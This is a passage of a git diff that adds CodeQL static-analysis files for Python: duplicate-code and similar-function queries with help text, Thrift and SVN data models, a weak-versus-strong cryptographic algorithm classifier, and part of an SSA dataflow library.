    diff --git a/python/ql/src/external/MostlyDuplicateClass.ql b/python/ql/src/external/MostlyDuplicateClass.ql new file mode 100644 index 00000000000..7a6f0b7587d --- /dev/null +++ b/python/ql/src/external/MostlyDuplicateClass.ql @@ -0,0 +1,24 @@ +/** + * @name Mostly duplicate class + * @description More than 80% of the methods in this class are duplicated in another class. Create a common supertype to improve code sharing. + * @kind problem + * @tags testability + * maintainability + * useless-code + * duplicate-code + * statistical + * non-attributable + * @problem.severity recommendation + * @sub-severity high + * @precision high + * @id py/mostly-duplicate-class + */ +import python +import CodeDuplication + +from Class c, Class other, string message +where duplicateScopes(c, other, _, message) + and count(c.getAStmt()) > 3 + and not duplicateScopes(c.getEnclosingModule(), _, _, _) +select c, message, other, other.getName() + diff --git a/python/ql/src/external/MostlyDuplicateFile.qhelp b/python/ql/src/external/MostlyDuplicateFile.qhelp new file mode 100644 index 00000000000..80035aef7f6 --- /dev/null +++ b/python/ql/src/external/MostlyDuplicateFile.qhelp @@ -0,0 +1,31 @@ + + + +

    If two files share a lot of code then there is a lot of unnecessary code duplication. +This makes it difficult to make changes in future and makes the code less easy to read.

    + +
    + +

    While completely duplicated files are rare, they are usually a sign of a simple oversight. +Usually the required action is to remove all but one of them. A common exception to this rule may +arise from generated code that simply occurs in several places in the source tree; the check can be +adapted to exclude such results.

    + +

    It is far more common to see duplication of many lines between two files, leaving just a few that +are actually different. Consider such situations carefully. Are the differences deliberate or a +result of an inconsistent update to one of the clones? If the latter, then treating the files as +completely duplicate and eliminating one (while preserving any corrections or new features that may +have been introduced) is the best course. If two files serve genuinely different purposes but almost +all of their lines are the same, that can be a sign that there is a missing level of abstraction. +Look for ways to share the functionality, by creating a new module for the common parts and +importing that module into the original module.

    + +
    + + +
  • E. Juergens, F. Deissenboeck, B. Hummel and S. Wagner, Do Code Clones Matter?, 2009. (available online).
  • + +
    +
    diff --git a/python/ql/src/external/MostlyDuplicateFile.ql b/python/ql/src/external/MostlyDuplicateFile.ql new file mode 100644 index 00000000000..57178d8846e --- /dev/null +++ b/python/ql/src/external/MostlyDuplicateFile.ql @@ -0,0 +1,21 @@ +/** + * @name Mostly duplicate module + * @description There is another file that shares a lot of the code with this file. Merge the two files to improve maintainability. + * @kind problem + * @tags testability + * maintainability + * useless-code + * duplicate-code + * statistical + * non-attributable + * @problem.severity recommendation + * @sub-severity high + * @precision high + * @id py/mostly-duplicate-file + */ +import python +import CodeDuplication + +from Module m, Module other, int percent, string message +where duplicateScopes(m, other, percent, message) +select m, message, other, other.getName() diff --git a/python/ql/src/external/MostlySimilarFile.qhelp b/python/ql/src/external/MostlySimilarFile.qhelp new file mode 100644 index 00000000000..978c8f4450e --- /dev/null +++ b/python/ql/src/external/MostlySimilarFile.qhelp @@ -0,0 +1,25 @@ + + + +

    This rule identifies two files that have a lot of the same lines but with different variable and +method names. This makes it difficult to make changes in future and makes the code less easy to read. +

    + +
    + +

    It is important to determine why there are small differences in the files. Sometimes the files +might have been duplicates but an update was only applied to one copy. If this is the case it should +be simple to merge the files, preserving any changes.

    + +

    If the files are intentionally different then it could be a good idea to consider extracting some +of the shared code into its own module and import that module into the original.

    + +
    + + +
  • E. Juergens, F. Deissenboeck, B. Hummel and S. Wagner, Do Code Clones Matter?, 2009. (available online).
  • + +
    +
    diff --git a/python/ql/src/external/MostlySimilarFile.ql b/python/ql/src/external/MostlySimilarFile.ql new file mode 100644 index 00000000000..4bdcce626c9 --- /dev/null +++ b/python/ql/src/external/MostlySimilarFile.ql @@ -0,0 +1,22 @@ +/** + * @name Mostly similar module + * @description There is another module that shares a lot of the code with this module. Notice that names of variables and types may have been changed. Merge the two modules to improve maintainability. + * @kind problem + * @problem.severity recommendation + * @tags testability + * maintainability + * useless-code + * duplicate-code + * statistical + * non-attributable + * @problem.severity recommendation + * @sub-severity low + * @precision high + * @id py/mostly-similar-file + */ +import python +import CodeDuplication + +from Module m, Module other, string message +where similarScopes(m, other, _, message) +select m, message, other, other.getName() diff --git a/python/ql/src/external/SimilarFunction.qhelp b/python/ql/src/external/SimilarFunction.qhelp new file mode 100644 index 00000000000..5f8d0bdb7e9 --- /dev/null +++ b/python/ql/src/external/SimilarFunction.qhelp @@ -0,0 +1,31 @@ + + + +

    If two functions share a lot of code then there is a lot of unnecessary code +duplication. This makes it difficult to make changes in future and makes the code less easy to read. +

    + +
    + +

    While completely duplicated functions are rare, they are usually a sign of a simple oversight. +Usually the required action is to remove all but one of them. A common exception to this rule may +arise from generated code that simply occurs in several places in the source tree; the check can be +adapted to exclude such results.

    + +

    It is far more common to see duplication of many lines between two functions, leaving just a few +that are actually different. Consider such situations carefully. Are the differences deliberate or a +result of an inconsistent update to one of the clones? If the latter, then treating the functions as +completely duplicate and eliminating one (while preserving any corrections or new features that may +have been introduced) is the best course. If two functions serve genuinely different purposes but +almost all of their lines are the same, then consider extracting the same lines to a separate function. +

    + +
    + + +
  • E. Juergens, F. Deissenboeck, B. Hummel and S. Wagner, Do Code Clones Matter?, 2009. (available online).
  • + +
    +
    diff --git a/python/ql/src/external/SimilarFunction.ql b/python/ql/src/external/SimilarFunction.ql new file mode 100644 index 00000000000..9d0a3f72cfb --- /dev/null +++ b/python/ql/src/external/SimilarFunction.ql @@ -0,0 +1,35 @@ +/** + * @name Similar function + * @description There is another function that is very similar this one. Extract the common code to a common function to improve sharing. + * @kind problem + * @tags testability + * maintainability + * useless-code + * duplicate-code + * statistical + * non-attributable + * @problem.severity recommendation + * @sub-severity low + * @precision very-high + * @id py/similar-function + */ +import python +import CodeDuplication + +predicate relevant(Function m) { + m.getMetrics().getNumberOfLinesOfCode() > 10 +} + +from Function m, Function other, string message, int percent +where similarScopes(m, other, percent, message) and + relevant(m) and + percent > 95.0 and + not duplicateScopes(m, other, _, _) and + not duplicateScopes(m.getEnclosingModule(), other.getEnclosingModule(), _, _) and + not duplicateScopes(m.getScope(), other.getScope(), _, _) +select m, message, + other, + other.getName() + + + diff --git a/python/ql/src/external/Thrift.qll b/python/ql/src/external/Thrift.qll new file mode 100644 index 00000000000..a10d5aab506 --- /dev/null +++ b/python/ql/src/external/Thrift.qll @@ -0,0 +1,320 @@ +/** + * Provides classes for working with Apache Thrift IDL files. + * This code is under development and may change without warning. + */ + + +import external.ExternalArtifact + +/** An item in the parse tree of the IDL file */ +class ThriftElement extends ExternalData { + + string kind; + + ThriftElement() { + this.getDataPath() = "thrift-" + kind + } + + string getKind() { + result = kind + } + + string getId() { + result = getField(0) + } + + int getIndex() { + result = getFieldAsInt(1) + } + + ThriftElement getParent() { + result.getId() = this.getField(2) + } + + string getValue() { + result = this.getField(3) + } + + ThriftElement getChild(int n) { + result.getIndex() = n and result.getParent() = this + } + + ThriftElement getAChild() { + result = this.getChild(_) + } + + override string toString() { + result = this.getKind() + } + + string getPath() { + result = this.getField(4) + } + + private int line() { + result = this.getFieldAsInt(5) + } + + private int column() { + result = this.getFieldAsInt(6) + } + + predicate hasLocationInfo(string fp, int bl, int bc, int el, int ec) { + fp = this.getPath() and + bl = this.line() and + bc = this.column() and + el = this.line() and + ec = this.column() + this.getValue().length()-1 + or + exists(ThriftElement first, ThriftElement last | + first = this.getChild(min(int l | exists(this.getChild(l)))) and + last = this.getChild(max(int l | exists(this.getChild(l)))) and + first.hasLocationInfo(fp, bl, bc, _, _) and + last.hasLocationInfo(fp, _, _, el, ec) + ) + } + + File getFile() { + this.hasLocationInfo(result.getAbsolutePath(), _, _, _, _) + } + +} + +abstract class ThriftNamedElement extends ThriftElement { + + abstract ThriftElement getNameElement(); + + final string getName() { + result = this.getNameElement().getValue() + } + + override string toString() { + result = this.getKind() + " " + this.getName() + or + not exists(this.getName()) and result = this.getKind() + " ???" + } + + override predicate hasLocationInfo(string fp, int bl, int bc, int el, int ec) { + exists(ThriftElement first | + first = this.getChild(min(int l | exists(this.getChild(l)))) and + first.hasLocationInfo(fp, bl, bc, _, _) and + this.getNameElement().hasLocationInfo(fp, _, _, el, ec) + ) + } + +} + +class ThriftType extends ThriftNamedElement { + + ThriftType() { + kind.matches("%type") + } + + override ThriftElement getNameElement() { + result = this.getChild(0) + or + result = this.getChild(0).(ThriftType).getNameElement() + } + + override string toString() { + result = "type " + this.getName() + } + + predicate references(ThriftStruct struct) { + this.getName() = struct.getName() and + exists(string path | + this.hasLocationInfo(path, _, _, _, _) and + struct.hasLocationInfo(path, _, _, _, _) + ) + } + +} + +/** A thrift typedef */ +class ThriftTypeDef extends ThriftNamedElement { + + ThriftTypeDef() { + kind.matches("typedef") + } + + override ThriftElement getNameElement() { + result = this.getChild(2).getChild(0) + } +} + +/** A thrift enum declaration */ +class ThriftEnum extends ThriftNamedElement { + + ThriftEnum() { + kind.matches("enum") + } + + override ThriftElement getNameElement() { + result = this.getChild(0).getChild(0) + } + +} + +/** A thrift enum field */ +class ThriftEnumField extends ThriftNamedElement { + + ThriftEnumField() { + kind.matches("enumfield") + } + + override ThriftElement getNameElement() { + result = this.getChild(0).getChild(0) + } + +} + +/** A thrift service declaration */ +class ThriftService extends ThriftNamedElement { + + ThriftService() { + kind.matches("service") + } + + override ThriftElement getNameElement() { + result = this.getChild(0).getChild(0) + } + + ThriftFunction getAFunction() { + result = this.getChild(_) + } + + ThriftFunction getFunction(string name) { + result.getName() = name and + result = this.getAFunction() + } + +} + +/** A thrift function declaration */ +class ThriftFunction extends ThriftNamedElement { + + ThriftFunction() { + kind.matches("function") + } + + override ThriftElement getNameElement() { + result = this.getChild(2).getChild(0) + } + + ThriftField getArgument(int n) { + result = this.getChild(n+3) + } + + ThriftField getAnArgument() { + result = this.getArgument(_) + } + + private ThriftThrows getAllThrows() { + result = this.getChild(_) + } + + ThriftField getAThrows() { + result = this.getAllThrows().getAChild() + } + + ThriftType getReturnType() { + result = this.getChild(1).getChild(0) + } + + override predicate hasLocationInfo(string fp, int bl, int bc, int el, int ec) { + this.getChild(1).hasLocationInfo(fp, bl, bc, _, _) and + this.getChild(2).hasLocationInfo(fp, _, _, el, ec) + } + + ThriftService getService() { + result.getAFunction() = this + } + + string getQualifiedName() { + result = this.getService().getName() + "." + this.getName() + } + +} + +class ThriftField extends ThriftNamedElement { + + ThriftField() { + kind.matches("field") + } + + override ThriftElement getNameElement() { + result = this.getChild(4) + } + + ThriftType getType() { + result = this.getChild(2) + } + +} + +class ThriftStruct extends ThriftNamedElement { + + ThriftStruct() { + kind.matches("struct") + } + + override ThriftElement getNameElement() { + result = this.getChild(0).getChild(0) + } + + ThriftField getMember(int n) { + result = this.getChild(n+1) + } + + ThriftField getAMember() { + result = this.getMember(_) + } + +} + + +class ThriftException extends ThriftNamedElement { + + ThriftException() { + kind.matches("exception") + } + + override ThriftElement getNameElement() { + result = this.getChild(0).getChild(0) + } + + ThriftField getMember(int n) { + result = this.getChild(n+1) + } + + ThriftField getAMember() { + result = this.getMember(_) + } + +} + + +class ThriftThrows extends ThriftElement { + + ThriftThrows() { + kind.matches("throws") + } + + ThriftField getAThrows() { + result = this.getChild(_) + } + +} + +/** A parse tree element that holds a primitive value */ +class ThriftValue extends ThriftElement { + + ThriftValue() { + exists(this.getValue()) + } + + override string toString() { + result = this.getKind() + " " + this.getValue() + } + +} diff --git a/python/ql/src/external/VCS.qll b/python/ql/src/external/VCS.qll new file mode 100644 index 00000000000..6b665dde510 --- /dev/null +++ b/python/ql/src/external/VCS.qll @@ -0,0 +1,92 @@ +import python + +class Commit extends @svnentry { + + Commit() { + svnaffectedfiles(this, _, _) and + exists(date svnDate, date snapshotDate | + svnentries(this, _, _, svnDate, _) and + snapshotDate(snapshotDate) and + svnDate <= snapshotDate + ) + } + + string toString() { result = this.getRevisionName() } + + string getRevisionName() { svnentries(this, result, _, _, _) } + + string getAuthor() { svnentries(this, _, result, _, _) } + + date getDate() { svnentries(this, _, _, result, _) } + + int getChangeSize() { svnentries(this, _, _, _, result) } + + string getMessage() { svnentrymsg(this, result) } + + string getAnAffectedFilePath(string action) { + exists(File rawFile | svnaffectedfiles(this, rawFile, action) | + result = rawFile.getName() + ) + } + + string getAnAffectedFilePath() { result = getAnAffectedFilePath(_) } + + File getAnAffectedFile(string action) { + svnaffectedfiles(this,result,action) + } + + File getAnAffectedFile() { exists(string action | result = this.getAnAffectedFile(action)) } + + predicate isRecent() { recentCommit(this) } + + int daysToNow() { + exists(date now | snapshotDate(now) | + result = getDate().daysTo(now) and result >= 0 + ) + } + + int getRecentAdditionsForFile(File f) { + svnchurn(this, f, result, _) + } + + int getRecentDeletionsForFile(File f) { + svnchurn(this, f, _, result) + } + + int getRecentChurnForFile(File f) { + result = getRecentAdditionsForFile(f) + getRecentDeletionsForFile(f) + } + +} + +class Author extends string { + Author() { exists(Commit e | this = e.getAuthor()) } + + Commit getACommit() { result.getAuthor() = this } + + File getAnEditedFile() { result = this.getACommit().getAnAffectedFile() } + +} + +predicate recentCommit(Commit e) { + exists(date snapshotDate, date commitDate, int days | + snapshotDate(snapshotDate) and + e.getDate() = commitDate and + days = commitDate.daysTo(snapshotDate) and + days >= 0 and days <= 60 + ) +} + +date firstChange(File f) { + result = min(Commit e, date toMin | (f = e.getAnAffectedFile()) and (toMin = e.getDate()) | toMin) +} + +predicate firstCommit(Commit e) { + not exists(File f | f = e.getAnAffectedFile() | + firstChange(f) < e.getDate() + ) +} + +predicate artificialChange(Commit e) { + firstCommit(e) or e.getChangeSize() >= 50000 +} \ No newline at end of file diff --git a/python/ql/src/python.qll b/python/ql/src/python.qll new file mode 100644 index 00000000000..cdf33c8019f --- /dev/null +++ b/python/ql/src/python.qll @@ -0,0 +1,40 @@ +import semmle.python.Files +import semmle.python.Operations +import semmle.python.Variables +import semmle.python.AstGenerated +import semmle.python.AstExtended +import semmle.python.AST +import semmle.python.Function +import semmle.python.Module +import semmle.python.Class +import semmle.python.Import +import semmle.python.Stmts +import semmle.python.Exprs +import semmle.python.Keywords +import semmle.python.Comprehensions +import semmle.python.Lists +import semmle.python.Flow +import semmle.python.Metrics +import semmle.python.Constants +import semmle.python.Scope +import semmle.python.Comment +import semmle.python.GuardedControlFlow +import semmle.python.types.ImportTime +import semmle.python.types.Object +import semmle.python.types.ClassObject +import semmle.python.types.FunctionObject +import semmle.python.types.ModuleObject +import semmle.python.types.Version +import semmle.python.types.Descriptors +import semmle.python.protocols +import semmle.python.SSA +import semmle.python.Assigns +import semmle.python.SelfAttribute +import semmle.python.types.Properties +import semmle.python.xml.XML +import semmle.dataflow.SSA +import semmle.python.pointsto.Base +import semmle.python.pointsto.Context +import semmle.python.pointsto.CallGraph + +import site diff --git a/python/ql/src/queries.xml b/python/ql/src/queries.xml new file mode 100644 index 00000000000..27449f34263 --- /dev/null +++ b/python/ql/src/queries.xml @@ -0,0 +1 @@ + diff --git a/python/ql/src/semmle/crypto/Crypto.qll b/python/ql/src/semmle/crypto/Crypto.qll new file mode 100644 index 00000000000..12e81a393ce --- /dev/null +++ b/python/ql/src/semmle/crypto/Crypto.qll @@ -0,0 +1,202 @@ +/** + * Provides classes for modeling cryptographic libraries. + */ + +/* The following information is copied from `/semmlecode-javascript-queries/semmle/javascript/frameworks/CryptoLibraries.qll` + * which should be considered the definitive version (as of Feb 2018) + */ + + +/** + * Names of cryptographic algorithms, separated into strong and weak variants. + * + * The names are normalized: upper-case, no spaces, dashes or underscores. + * + * The names are inspired by the names used in real world crypto libraries. + * + */ +private module AlgorithmNames { + predicate isStrongHashingAlgorithm(string name) { + name = "DSA" or + name = "ED25519" or + name = "ES256" or name = "ECDSA256" or + name = "ES384" or name = "ECDSA384" or + name = "ES512" or name = "ECDSA512" or + name = "SHA2" or + name = "SHA224" or + name = "SHA256" or + name = "SHA384" or + name = "SHA512" or + name = "SHA3" + } + + predicate isWeakHashingAlgorithm(string name) { + name = "HAVEL128" or + name = "MD2" or + name = "MD4" or + name = "MD5" or + name = "PANAMA" or + name = "RIPEMD" or + name = "RIPEMD128" or + name = "RIPEMD256" or + name = "RIPEMD160" or + name = "RIPEMD320" or + name = "SHA0" or + name = "SHA1" + } + + predicate isStrongEncryptionAlgorithm(string name) { + name = "AES" or + name = "AES128" or + name = "AES192" or + name = "AES256" or + name = "AES512" or + name = "RSA" or + name = "RABBIT" or + name = "BLOWFISH" + + } + + predicate isWeakEncryptionAlgorithm(string name) { + name = "DES" or + name = "3DES" or name = "TRIPLEDES" or name = "TDEA" or name = "TRIPLEDEA" or + name = "ARC2" or name = "RC2" or + name = "ARC4" or name = "RC4" or name = "ARCFOUR" or + name = "ARC5" or name = "RC5" + } + + predicate isStrongPasswordHashingAlgorithm(string name) { + name = "ARGON2" or + name = "PBKDF2" or + name = "BCRYPT" or + name = "SCRYPT" + } + + predicate isWeakPasswordHashingAlgorithm(string name) { + none() + } + + /** + * Normalizes `name`: upper-case, no spaces, dashes or underscores. + * + * All names of this module are in this normalized form. + */ + bindingset[name] string normalizeName(string name) { + result = name.toUpperCase().regexpReplaceAll("[-_ ]", "") + } + +} +private import AlgorithmNames + + +/** + * A cryptographic algorithm. + */ +private newtype TCryptographicAlgorithm = +MkHashingAlgorithm(string name, boolean isWeak) { + (isStrongHashingAlgorithm(name) and isWeak = false) or + (isWeakHashingAlgorithm(name) and isWeak = true) +} +or +MkEncryptionAlgorithm(string name, boolean isWeak) { + (isStrongEncryptionAlgorithm(name) and isWeak = false) or + (isWeakEncryptionAlgorithm(name) and isWeak = true) +} +or +MkPasswordHashingAlgorithm(string name, boolean isWeak) { + (isStrongPasswordHashingAlgorithm(name) and isWeak = false) or + (isWeakPasswordHashingAlgorithm(name) and isWeak = true) +} + +/** + * A cryptographic algorithm. + */ +abstract class CryptographicAlgorithm extends TCryptographicAlgorithm { + + /** Gets a textual representation of this element. */ + string toString() { + result = getName() + } + + /** + * Gets the name of the algorithm. + */ + abstract string getName(); + + /** + * Holds if this algorithm is weak. + */ + abstract predicate isWeak(); + +} + +/** + * A hashing algorithm such as `MD5` or `SHA512`. + */ +class HashingAlgorithm extends MkHashingAlgorithm, CryptographicAlgorithm { + + string name; + + boolean isWeak; + + HashingAlgorithm() { + this = MkHashingAlgorithm(name, isWeak) + } + + override string getName() { + result = name + } + + override predicate isWeak() { + isWeak = true + } + +} + +/** + * An encryption algorithm such as `DES` or `AES512`. + */ +class EncryptionAlgorithm extends MkEncryptionAlgorithm, CryptographicAlgorithm { + + string name; + + boolean isWeak; + + EncryptionAlgorithm() { + this = MkEncryptionAlgorithm(name, isWeak) + } + + override string getName() { + result = name + } + + override predicate isWeak() { + isWeak = true + } + +} + +/** + * A password hashing algorithm such as `PBKDF2` or `SCRYPT`. + */ +class PasswordHashingAlgorithm extends MkPasswordHashingAlgorithm, CryptographicAlgorithm { + + string name; + + boolean isWeak; + + PasswordHashingAlgorithm() { + this = MkPasswordHashingAlgorithm(name, isWeak) + } + + override string getName() { + result = name + } + + override predicate isWeak() { + isWeak = true + } +} + + + diff --git a/python/ql/src/semmle/dataflow/SSA.qll b/python/ql/src/semmle/dataflow/SSA.qll new file mode 100755 index 00000000000..6f8704a10c2 --- /dev/null +++ b/python/ql/src/semmle/dataflow/SSA.qll @@ -0,0 +1,585 @@ +/** + * Library for SSA representation (Static Single Assignment form). + */ + +import python +private import SsaCompute + +/* The general intent of this code is to assume only the following interfaces, + * although several Python-specific parts may have crept in. + * + * SsaSourceVariable { ... } // See interface below + * + * + * BasicBlock { + * + * ControlFlowNode getNode(int n); + * + * BasicBlock getImmediateDominator(); + * + * BasicBlock getAPredecessor(); + * + * BasicBlock getATrueSuccessor(); + * + * BasicBlock getAFalseSuccessor(); + * + * predicate dominanceFrontier(BasicBlock other); + * + * predicate strictlyDominates(BasicBlock other); + * + * predicate hasLocationInfo(string f, int bl, int bc, int el, int ec); + * + * } + * + * ControlFlowNode { + * + * Location getLocation(); + * + * BasicBlock getBasicBlock(); + * + * } + * + */ + + + /** A source language variable, to be converted into a set of SSA variables. */ +abstract class SsaSourceVariable extends @py_variable { + + /** Gets the name of this variable */ + abstract string getName(); + + string toString() { + result = "SsaSourceVariable " + this.getName() + } + + /** Gets a use of this variable, either explicit or implicit. */ + abstract ControlFlowNode getAUse(); + + /** Holds if `def` defines an ESSA variable for this variable. */ + abstract predicate hasDefiningNode(ControlFlowNode def); + + /** Holds if the edge `pred`->`succ` defines an ESSA variable for this variable. */ + abstract predicate hasDefiningEdge(BasicBlock pred, BasicBlock succ); + + /** Holds if `def` defines an ESSA variable for this variable in such a way + * that the new variable is a refinement in some way of the variable used at `use`. + */ + abstract predicate hasRefinement(ControlFlowNode use, ControlFlowNode def); + + /** Holds if the edge `pred`->`succ` defines an ESSA variable for this variable in such a way + * that the new variable is a refinement in some way of the variable used at `use`. + */ + abstract predicate hasRefinementEdge(ControlFlowNode use, BasicBlock pred, BasicBlock succ); + + /** Gets a use of this variable that corresponds to an explicit use in the source. */ + abstract ControlFlowNode getASourceUse(); + +} + +/** An (enhanced) SSA variable derived from `SsaSourceVariable`. */ +class EssaVariable extends TEssaDefinition { + + /** Gets the (unique) definition of this variable. */ + EssaDefinition getDefinition() { + this = result + } + + /** Gets a use of this variable, where a "use" is defined by + * `SsaSourceVariable.getAUse()`. + * Note that this differs from `EssaVariable.getASourceUse()`. + */ + ControlFlowNode getAUse() { + result = this.getDefinition().getAUse() + } + + /** Gets the source variable from which this variable is derived. */ + SsaSourceVariable getSourceVariable() { + result = this.getDefinition().getSourceVariable() + } + + /** Gets the name of this variable. */ + string getName() { + result = this.getSourceVariable().getName() + } + + string toString() { + result = "SSA variable " + this.getName() + } + + /** Gets a string representation of this variable. + * WARNING: The format of this may change and it may be very inefficient to compute. + * To used for debugging and testing only. + */ + string getRepresentation() { + result = this.getSourceVariable().getName() + "_" + var_rank(this) + } + + /** Gets a use of this variable, where a "use" is defined by + * `SsaSourceVariable.getASourceUse()`. + * Note that this differs from `EssaVariable.getAUse()`. + */ + ControlFlowNode getASourceUse() { + result = this.getAUse() and + result = this.getSourceVariable().getASourceUse() + } + + /** Gets the scope of this variable. */ + Scope getScope() { + result = this.getDefinition().getScope() + } + +} + +/* Helper for location_string + * NOTE: This is Python specific, to make `getRepresentation()` portable will require further work. + */ +private int exception_handling(BasicBlock b) { + b.reachesExit() and result = 0 + or + not b.reachesExit() and result = 1 +} + +/* Helper for var_index. Come up with a (probably) unique string per location. */ +pragma[noinline] +private string location_string(EssaVariable v) { + exists(EssaDefinition def, BasicBlock b, int index, int line, int col | + def = v.getDefinition() and + (if b.getNode(0).isNormalExit() then + line = 100000 and col = 0 + else + b.hasLocationInfo(_, line, col, _, _) + ) and + /* Add large numbers to values to prevent 1000 sorting before 99 */ + result = (line + 100000) + ":" + (col*2 + 10000 + exception_handling(b)) + ":" + (index + 100003) + | + def = TEssaNodeDefinition(_, b, index) + or + def = TEssaNodeRefinement(_, b, index) + or + def = TEssaEdgeDefinition(_, _, b) and index = piIndex() + or + def = TPhiFunction(_, b) and index = phiIndex() + ) +} + +/* Helper to compute an index for this SSA variable. */ +private int var_index(EssaVariable v) { + location_string(v) = rank[result](string s | exists(EssaVariable x | location_string(x) = s) | s) +} + +/* Helper for `v.getRepresentation()` */ +private int var_rank(EssaVariable v) { + exists(int r, SsaSourceVariable var | + var = v.getSourceVariable() and + var_index(v) = rank[r](EssaVariable x | x.getSourceVariable() = var | var_index(x)) and + result = r-1 + ) +} + +/** Underlying IPA type for EssaDefinition and EssaVariable. */ +private cached newtype TEssaDefinition = + TEssaNodeDefinition(SsaSourceVariable v, BasicBlock b, int i) { + EssaDefinitions::variableDefinition(v, _, b, _, i) + } + or + TEssaNodeRefinement(SsaSourceVariable v, BasicBlock b, int i) { + EssaDefinitions::variableRefinement(v, _, b, _, i) + } + or + TEssaEdgeDefinition(SsaSourceVariable v, BasicBlock pred, BasicBlock succ) { + EssaDefinitions::piNode(v, pred, succ) + } + or + TPhiFunction(SsaSourceVariable v, BasicBlock b) { + EssaDefinitions::phiNode(v, b) + } + +/** Definition of an extended-SSA (ESSA) variable. + * There is exactly one definition for each variable, + * and exactly one variable for each definition. + */ +abstract class EssaDefinition extends TEssaDefinition { + + string toString() { + result = "EssaDefinition" + } + + /** Gets the source variable for which this a definition, either explicit or implicit. */ + abstract SsaSourceVariable getSourceVariable(); + + /** Gets a use of this definition as defined by the `SsaSourceVariable` class. */ + abstract ControlFlowNode getAUse(); + + /** Holds if this definition reaches the end of `b`. */ + abstract predicate reachesEndOfBlock(BasicBlock b); + + /** Gets the location of a control flow node that is indicative of this definition. + * Since definitions may occur on edges of the control flow graph, the given location may + * be imprecise. + * Distinct `EssaDefinitions` may return the same ControlFlowNode even for + * the same variable. + */ + abstract Location getLocation(); + + /** Gets a representation of this SSA definition for debugging purposes. + * Since this is primarily for debugging and testing, performance may be poor. */ + abstract string getRepresentation(); + + abstract Scope getScope(); + + EssaVariable getVariable() { + result.getDefinition() = this + } + +} + +/** An ESSA definition corresponding to an edge refinement of the underlying variable. + * For example, the edges leaving a test on a variable both represent refinements of that + * variable. On one edge the test is true, on the other it is false. + */ +class EssaEdgeRefinement extends EssaDefinition, TEssaEdgeDefinition { + + override string toString() { + result = "SSA filter definition" + } + + boolean getSense() { + this.getPredecessor().getATrueSuccessor() = this.getSuccessor() and result = true + or + this.getPredecessor().getAFalseSuccessor() = this.getSuccessor() and result = false + } + + override SsaSourceVariable getSourceVariable() { + this = TEssaEdgeDefinition(result, _, _) + } + + /** Gets the basic block preceding the edge on which this refinement occurs. */ + BasicBlock getPredecessor() { + this = TEssaEdgeDefinition(_, result, _) + } + + /** Gets the basic block succeeding the edge on which this refinement occurs. */ + BasicBlock getSuccessor() { + this = TEssaEdgeDefinition(_, _, result) + } + + override ControlFlowNode getAUse() { + SsaDefinitions::reachesUse(this.getSourceVariable(), this.getSuccessor(), piIndex(), result) + } + + override predicate reachesEndOfBlock(BasicBlock b) { + SsaDefinitions::reachesEndOfBlock(this.getSourceVariable(), this.getSuccessor(), piIndex(), b) + } + + override Location getLocation() { + result = this.getSuccessor().getNode(0).getLocation() + } + + /** Gets the SSA variable to which this refinement applies. */ + EssaVariable getInput() { + exists(SsaSourceVariable var , EssaDefinition def | + var = this.getSourceVariable() and + var = def.getSourceVariable() and + def.reachesEndOfBlock(this.getPredecessor()) and + result.getDefinition() = def + ) + } + + override string getRepresentation() { + result = this.getAQlClass() + "(" + this.getInput().getRepresentation() + ")" + } + + /** Gets the scope of the variable defined by this definition. */ + override Scope getScope() { + result = this.getPredecessor().getScope() + } + +} + +/** A Phi-function as specified in classic SSA form. */ +class PhiFunction extends EssaDefinition, TPhiFunction { + + override ControlFlowNode getAUse() { + SsaDefinitions::reachesUse(this.getSourceVariable(), this.getBasicBlock(), phiIndex(), result) + } + + override predicate reachesEndOfBlock(BasicBlock b) { + SsaDefinitions::reachesEndOfBlock(this.getSourceVariable(), this.getBasicBlock(), phiIndex(), b) + } + + override SsaSourceVariable getSourceVariable() { + this = TPhiFunction(result, _) + } + + /** Gets an input refinement that exists on one of the incoming edges to this phi node. */ + private EssaEdgeRefinement inputEdgeRefinement(BasicBlock pred) { + result.getSourceVariable() = this.getSourceVariable() and + result.getSuccessor() = this.getBasicBlock() and + result.getPredecessor() = pred + } + + private BasicBlock nonPiInput() { + result = this.getBasicBlock().getAPredecessor() and + not exists(this.inputEdgeRefinement(result)) + } + + /** Gets another definition of the same source variable that reaches this definition. */ + private EssaDefinition reachingDefinition(BasicBlock pred) { + result.getScope() = this.getScope() and + result.getSourceVariable() = this.getSourceVariable() and + pred = this.nonPiInput() and + result.reachesEndOfBlock(pred) + } + + /** Gets the input variable for this phi node on the edge `pred` -> `this.getBasicBlock()`, if any. */ + pragma [noinline] + EssaVariable getInput(BasicBlock pred) { + result.getDefinition() = this.reachingDefinition(pred) + or + result.getDefinition() = this.inputEdgeRefinement(pred) + } + + /** Gets an input variable for this phi node. */ + EssaVariable getAnInput() { + result = this.getInput(_) + } + + /** Holds if forall incoming edges in the flow graph, there is an input variable */ + predicate isComplete() { + forall(BasicBlock pred | + pred = this.getBasicBlock().getAPredecessor() | + exists(this.getInput(pred)) + ) + } + + override string toString() { + result = "SSA Phi Function" + } + + /** Gets the basic block that succeeds this phi node. */ + BasicBlock getBasicBlock() { + this = TPhiFunction(_, result) + } + + override Location getLocation() { + result = this.getBasicBlock().getNode(0).getLocation() + } + + /** Helper for `argList(n)`. */ + private int rankInput(EssaVariable input) { + input = this.getAnInput() and + var_index(input) = rank[result](EssaVariable v | v = this.getAnInput() | var_index(v)) + } + + /** Helper for `argList()`. */ + private string argList(int n) { + exists(EssaVariable input | + n = this.rankInput(input) + | + n = 1 and result = input.getRepresentation() + or + n > 1 and result = this.argList(n-1) + ", " + input.getRepresentation() + ) + } + + /** Helper for `getRepresentation()`. */ + private string argList() { + exists(int last | + last = (max(int x | x = this.rankInput(_))) and + result = this.argList(last) + ) + } + + override string getRepresentation() { + not exists(this.getAnInput()) and result = "phi()" + or + result = "phi(" + this.argList() + ")" + or + exists(this.getAnInput()) and not exists(this.argList()) and + result = "phi(" + this.getSourceVariable().getName() + "??)" + } + + override Scope getScope() { + result = this.getBasicBlock().getScope() + } + + private EssaEdgeRefinement piInputDefinition(EssaVariable input) { + input = this.getAnInput() and + result = input.getDefinition() + or + input = this.getAnInput() and result = input.getDefinition().(PhiFunction).piInputDefinition(_) + } + + /** Gets the variable which is the common and complete input to all pi-nodes that are themselves + * inputs to this phi-node. + * For example: + * ``` + * x = y() + * if complicated_test(x): + * do_a() + * else: + * do_b() + * phi + * ``` + * Which gives us the ESSA form: + * x0 = y() + * x1 = pi(x0, complicated_test(x0)) + * x2 = pi(x0, not complicated_test(x0)) + * x3 = phi(x1, x2) + * However we may not be able to track the value of `x` through `compilated_test` + * meaning that we cannot track `x` from `x0` to `x3`. + * By using `getShortCircuitInput()` we can do so, 